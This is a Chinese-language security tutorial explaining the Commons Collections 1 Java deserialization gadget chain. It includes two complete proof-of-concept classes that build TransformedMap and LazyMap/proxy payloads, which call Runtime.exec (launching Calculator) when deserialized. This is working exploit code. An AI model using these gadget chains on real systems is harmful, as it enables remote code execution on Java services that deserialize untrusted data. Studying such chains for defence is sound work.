CommonsCollections1链详解

Contents

比较难一点的CC链

CommonsCollections1链详解

jdk8源码下载
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
漏洞触发点在org.apache.commons.collections.functors.InvokerTransformer
其中的transform()方法
很明显的一个反射调用,其中iMethodName、iParamTypes、iArgs都是可控的变量,便可以调用任意方法和任意参数
看一下构造器是如何赋值的
构造一个简单的 payload 试试
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).transform(Runtime.getRuntime());
找一个任意类调用transforms()方法的方法,这里选择org.apache.commons.collections.map.TransformedMap类的checkSetValue()方法
valueTransformer变量可控
但是因为构造器是protected修饰,所以无法直接调用,利用这里的静态方法decorate()进行了调用
再查看一下哪里调用了checkSetValue()方法,只有这一处
setValue()方法调用了checkSetValue(),构造一个payload,看看能不能通

1
2
3
4
5
6
7
8
Runtime r = Runtime.getRuntime();    
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});    
HashMap<Object,Object> map = new HashMap<>();    
map.put("key","value");    
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);    
    
for(Map.Entry entry:transformedMap.entrySet()){    
    entry.setValue(r);  

接着找一个setValue()方法的调用,在sun.reflect.annotation.AnnotationInvocationHandler类中,找到了如下方法
这里调用了setValue()方法,并且还在readObject()方法中,继续构造poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Runtime r = Runtime.getRuntime();    
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});    
HashMap<Object,Object> map = new HashMap<>();    
map.put("key","value");    
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);    
    
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");    
Constructor annotationInvocationhandleconstructor = c.getDeclaredConstructor(Class.class,Map.class);    
annotationInvocationhandleconstructor.setAccessible(true);    
Object o = annotationInvocationhandleconstructor.newInstance(Target.class,transformedMap);  

但是这里存在两个问题
第一个问题是Runtime没有实现Seriablable接口,无法参与序列化过程
利用反射来解决,这里再利用一个ChainedTransformer.transform方法
简单来说就是上一个执行transform方法返回的结果作为下一个执行transform方法输入

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{    
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),    
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),    
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})    
};  
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  

还有一个问题,无法控制setValue()里面的参数值
这里利用org.apache.commons.collections.functors.ConstantTransformertransform()方法,无论传入什么,都会返回固定的值
所以完善一下上面的poc

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{  
		new ConstantTransformer(Runtime.class),  
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),    
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),    
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})    
};  
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  

于是完整的poc如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.example.CommonsCollections;    
    
import org.apache.commons.collections.Transformer;    
import org.apache.commons.collections.functors.ChainedTransformer;    
import org.apache.commons.collections.functors.ConstantTransformer;    
import org.apache.commons.collections.functors.InvokerTransformer;    
import org.apache.commons.collections.map.TransformedMap;    
    
import java.io.*;    
import java.lang.annotation.Target;    
import java.lang.reflect.Constructor;    
import java.util.HashMap;    
import java.util.Map;    
    
public class CommonsCollection1 {    
    public static void main(String[] args) throws Exception{    
    
        Transformer[] transformers = new Transformer[]{    
                new ConstantTransformer(Runtime.class),    
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),    
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),    
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})    
        };    
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);    
        chainedTransformer.transform(Runtime.class);    
        InvokerTransformer invokerTransformer =new  InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});    
        HashMap<Object, Object> map = new HashMap<>();    
        map.put("value","value");    
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);   
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");    
        Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);    
        AnnotationInvocationHandlerConstructor.setAccessible(true);    
        Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);    
        serialize(o);    
        unserialize("ser.bin");    
    
    }    
    
    public static void serialize(Object obj) throws Exception{    
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));    
        oos.writeObject(obj);    
    }    
    
    public static Object unserialize(String filename) throws Exception{    
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));    
        Object obj = ois.readObject();    
        return obj;    
    
    }    
}  

整个调用栈如下

这里为什么要用Target
Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
因为Target中有值是value
这里的getKey()获取的就是,上面map.put()放入的key
map.put("value","value");
key放入value,正好能取出Target中的值,所以就绕过了if条件

另一条

在上面选择任意类执行transform方法的时候,选择了TransformedMap
这次选择另一个类LazyMap中的get()方法
再看一下哪里调用了get()方法,恰好在AnnotationInocationHandler类中的invoke()方法中调用了get()方法
而恰好memberValues也是可控的,那如何调用到invoke()方法呢?
这里需要一个新的知识点,动态代理,将AnnoationInvocationHandler动态代理,执行任意方法,即可调用到invoke方法,但是根据 invoke 中的if条件,执行的任意方法必须是无参的,恰好在AnnotationInvocationHandler类中的readObject()方法中,有这样的方法存在
于是根据上面的poc修改一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example.CommonsCollections;    
    
import org.apache.commons.collections.Transformer;    
import org.apache.commons.collections.functors.ChainedTransformer;    
import org.apache.commons.collections.functors.ConstantTransformer;    
import org.apache.commons.collections.functors.InvokerTransformer;    
import org.apache.commons.collections.map.LazyMap;    
import org.apache.commons.collections.map.TransformedMap;    
    
import java.io.*;    
import java.lang.annotation.Target;    
import java.lang.reflect.Constructor;    
import java.lang.reflect.InvocationHandler;    
import java.lang.reflect.Proxy;    
import java.util.HashMap;    
import java.util.Map;    
    
public class CommonsCollections1 {    
    public static void main(String[] args) throws Exception{    
    
        Transformer[] transformers = new Transformer[]{    
                new ConstantTransformer(Runtime.class),    
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),    
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),    
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})    
        };    
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);    
    
        HashMap<Object, Object> map = new HashMap<>();    
        Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);    
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");    
        Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);    
        AnnotationInvocationHandlerConstructor.setAccessible(true);    
        InvocationHandler h = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Target.class,lazymap);    
    
        Map proxyMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);    
    
        Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class,proxyMap);    
    
        serialize(o);    
        unserialize("ser.bin");    
    
    }    
    
    public static void serialize(Object obj) throws Exception{    
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));    
        oos.writeObject(obj);    
    }    
    
    public static Object unserialize(String filename) throws Exception{    
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));    
        Object obj = ois.readObject();    
        return obj;    
    
    }    
}  

0%